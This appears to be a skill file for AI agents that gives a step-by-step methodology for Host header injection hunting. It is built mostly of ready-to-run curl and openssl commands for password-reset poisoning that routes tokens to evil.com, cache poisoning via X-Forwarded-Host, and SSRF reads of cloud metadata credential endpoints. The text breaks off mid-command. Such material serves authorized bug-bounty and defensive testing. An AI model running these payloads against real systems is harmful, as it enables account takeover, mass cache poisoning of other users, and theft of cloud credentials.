hunt-host-header – skill Bảo mật cho agent AI

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads.

Cite the *technique source* in your report, never a fabricated ID:

• Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era

"Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link

case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style

allowlist. Cite the framework + the reflected-Host behaviour you actually observed.

• Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research,

James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).

These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.

• Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF

(Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT

on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not

verified — a missing citation is always better than a wrong one.

---

Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

• Password reset poisoning → ATO — server builds the reset link from the request Host;

attacker sets Host: evil.com; the victim's reset email points the token at the attacker →

token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*

their own reset leaks the token to evil.com.

• Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects

an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned

entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.

• Routing-based SSRF — the front-end uses the *Host header itself* to pick the upstream;

Host: [REDACTED_IP] (or an internal hostname) makes it forward your request to that target

→ cloud metadata / internal admin panels.

• Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL /

X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge

ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)

• OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc →

auth-code or token theft → ATO.

---

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

---

Step-by-Step Hunting Methodology

> Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "[email protected]"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\[email protected]' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "[email protected]"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:[email protected]" -d "[email protected]"

Confirm: open the reset email *in your own test inbox* and read the link host. The token must

appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator

domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so

that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and

have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be *reflected into

the response body* (an absolute URL, script src, <link href>, <base href>, redirect

Location, or canonical/og:url) and that response must be **cached on a key you do not

control**. No Collaborator callback is expected from the cache test itself — only later, if a

victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl --max-time 30 --connect-timeout 10 -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl --max-time 30 --connect-timeout 10 -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

• A reflection that only ever appears for *your* request (because the header is keyed, e.g. in

Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the

payload on a request that *omits* the header.

• Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
• Confirm blast radius from a second machine / fresh egress IP / incognito before claiming

"mass". Cache scope is often per-edge / per-cookie / per-geo.

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the

request line, exactly as a normal request, because the metadata service / internal host serves

plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant

here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/" -H "Host: [REDACTED_IP]"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: [REDACTED_IP]"

# GCP / Azure equivalents (still routing via Host):
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: [REDACTED_IP]" -H "Metadata: true"

# Internal hostname / port routing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl --max-time 30 --connect-timeout 10 -s "h

… (nội dung đầy đủ có trong gói tải về)